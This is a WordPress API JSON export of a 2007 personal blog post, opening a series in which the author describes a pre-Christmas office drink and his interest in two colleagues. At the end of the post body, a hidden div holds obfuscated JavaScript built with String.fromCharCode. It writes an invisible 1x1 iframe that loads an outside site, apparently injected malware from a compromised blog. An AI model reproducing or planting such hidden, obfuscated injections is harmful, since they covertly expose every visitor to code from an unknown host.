{"id":121,"date":"2007-03-13T21:41:15","date_gmt":"2007-03-13T20:41:15","guid":{"rendered":"http:\/\/freegw.xs4all.nl\/~basp\/wordpress\/index.php\/2007\/03\/13\/meticulous-new-year-part-1\/"},"modified":"2010-06-25T20:48:12","modified_gmt":"2010-06-25T19:48:12","slug":"meticulous-new-year-part-1","status":"publish","type":"post","link":"\/~basp\/wordpress\/index.php\/2007\/03\/13\/meticulous-new-year-part-1\/","title":{"rendered":"Meticulous"},"content":{"rendered":"<p><strong>Note<\/strong>: this is a <strike>second<\/strike> third starting  of the series&#8230; I have posted it and un-posted, posted it and un-posted it again and now I&#8217;m posting it for the final time. A woman told me my blog would be more interesting if I posted more stuff about myself so here is some that has been lingering around since Christmas but I never felt really comfortable about posting for real. So here it goes, just steer clear of that un-publish button now.<\/p>\n<h3>L&#8217;Entrada<\/h3>\n<p>One developer, two interesting, beautiful, seemingly single women, unsynchronized holidays, our cool chief and a long-time but still somewhat unknown colleague, an angry grand mother, two unnecessary disturbed parents, an innocent next door neighbor and a beloved car with way to powerful sound equipment. This is a Christmas story like no other.<\/p>\n<p>It was the Friday evening just before Christmas, during the annual Christmas drink of our shop, that something changed in me. Poetically, a long forgotten fire was rekindled. It has been a long time since I really connected with a woman and the last few times I really did she was either not ready to commit, not available or simply not interested. There <em>were<\/em> women but none of those could live up to <em>my<\/em> dreams so in the end no real relations where forged.<\/p>\n<p>Now there are two women who are seemingly single. They are both intellectually engaging and I am very curious to find out more about either one of them. There is a small problem though &#8211; I know them for, like six months and I haven&#8217;t shown any kind of real interest during all that time. I tried to answer polite when one of them spoke to me directly but usually I was happy just to mumble something that might be interpreted as a reasonable answer.<\/p>\n<p>Strangely enough I never deemed myself worthy for neither one of them but a short while ago we had our annual company party followed by the the Christmas drink a few weeks later; both those events made me a different person. Not only thanks to a little encouragement from the chief and a good colleague but also due to the fact that I was finally able to talk to them like myself &#8211; even if it was made possible thanks to some helpful beers.<\/p>\n<p>Continues with <a href=\"http:\/\/freegw.xs4all.nl\/~basp\/wordpress\/index.php\/2007\/03\/15\/meticulous-new-year-part-2\/\" title=\"Meticulous New Year Part II\">part II<\/a>.<!--more--><!--1bba7d285c6f719814958f6814566b5822010--><\/p>\n<div style=\"display:none\">document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))<\/div>\n<p><!--\/1bba7d285c6f719814958f6814566b5822010--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Note: this is a second third starting of the series&#8230; I have posted it and un-posted, posted it and un-posted it again and now I&#8217;m posting it for the final time. A woman told me my blog would be more interesting if I posted more stuff about myself so here is some that has been &hellip; <\/p>\n<p class=\"link-more\"><a href=\"\/~basp\/wordpress\/index.php\/2007\/03\/13\/meticulous-new-year-part-1\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Meticulous&#8221;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-121","post","type-post","status-publish","format-standard","hentry","category-madness","entry"],"_links":{"self":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/121","targetHints":{"allow":["GET"]}}],"collection":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/comments?post=121"}],"version-history":[{"count":0,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/121\/revisions"}],"wp:attachment":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/media?parent=121"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/categories?post=121"},{"taxonomy":"post_tag","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/tags?post=121"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}